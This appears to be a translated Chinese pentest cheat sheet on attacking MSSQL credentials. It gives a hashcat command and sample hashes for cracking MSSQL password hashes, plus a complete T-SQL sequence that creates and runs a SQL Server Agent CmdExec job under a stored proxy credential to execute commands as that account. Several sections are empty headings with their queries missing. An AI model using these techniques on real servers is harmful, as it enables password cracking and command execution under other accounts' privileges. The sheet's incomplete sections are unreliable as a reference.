MSSQL - 凭据 (Credentials)
目录 (Summary)
- MSSQL 账号与哈希 (MSSQL Accounts and Hashes)
- 列出 SQL Server 上的凭据 (List Credentials on the SQL Server)
- 代理账号上下文 (Proxy Account Context)
MSSQL 账号与哈希 (MSSQL Accounts and Hashes)
-
MSSQL 2000
-
MSSQL 2005
随后使用 Hashcat 破解密码:hashcat -m 1731 -a 0 mssql_hashes_hashcat.txt /usr/share/wordlists/rockyou.txt --force
| 哈希模式 | 哈希名称 | 示例 |
|---|---|---|
| 131 | MSSQL (2000) | 0x01002702560500000000000000000000000000000000000000008db43dd9b1972a636ad0c7d4b8c515cb8ce46578 |
| 132 | MSSQL (2005) | 0x010018102152f8f28c8499d8ef263c53f8be369d799f931b2fbe |
| 1731 | MSSQL (2012, 2014) | 0x02000102030434ea1b17802fd95ea6316bd61d2c94622ca3812793e8fb1672487b5c904a45a31b2ab4a78890d563d2fcf5663e46fe797d71550494be50cf4915d3f4d55ec375 |
列出 SQL Server 上的凭据 (List Credentials on the SQL Server)
-
列出在 SQL Server 实例上配置的凭据
-
列出代理账号 (Proxy Accounts)
代理账号上下文 (Proxy Account Context)
使用注册的代理凭据运行代理作业 (Agent Job)。
USE msdb;
GO
-- 创建作业
EXEC sp_add_job
@job_name = N'WhoAmIJob'; -- 作业名称
-- 添加一个作业步骤,使用代理执行 whoami 命令
EXEC sp_add_jobstep
@job_name = N'WhoAmIJob',
@step_name = N'ExecuteWhoAmI',
@subsystem = N'CmdExec',
@command = N'c:\windows\system32\cmd.exe /c whoami > c:\windows\temp\whoami.txt',
@on_success_action = 1, -- 1 = 成功后退出
@on_fail_action = 2, -- 2 = 失败后退出
@proxy_name = N'MyCredentialProxy'; -- 此前创建的代理
-- 向作业添加计划(可选,可以是手动触发或定期调度)
EXEC sp_add_jobschedule
@job_name = N'WhoAmIJob',
@name = N'RunOnce',
@freq_type = 1, -- 1 = 一次性
@active_start_date = 20240820,
@active_start_time = 120000;
-- 将作业添加到 SQL Server 代理
EXEC sp_add_jobserver
@job_name = N'WhoAmIJob',
@server_name = N'(LOCAL)';
执行代理作业,以便一个进程将在代理账号的上下文中启动并执行你的代码/命令。
EXEC sp_start_job @job_name = N'WhoAmIJob';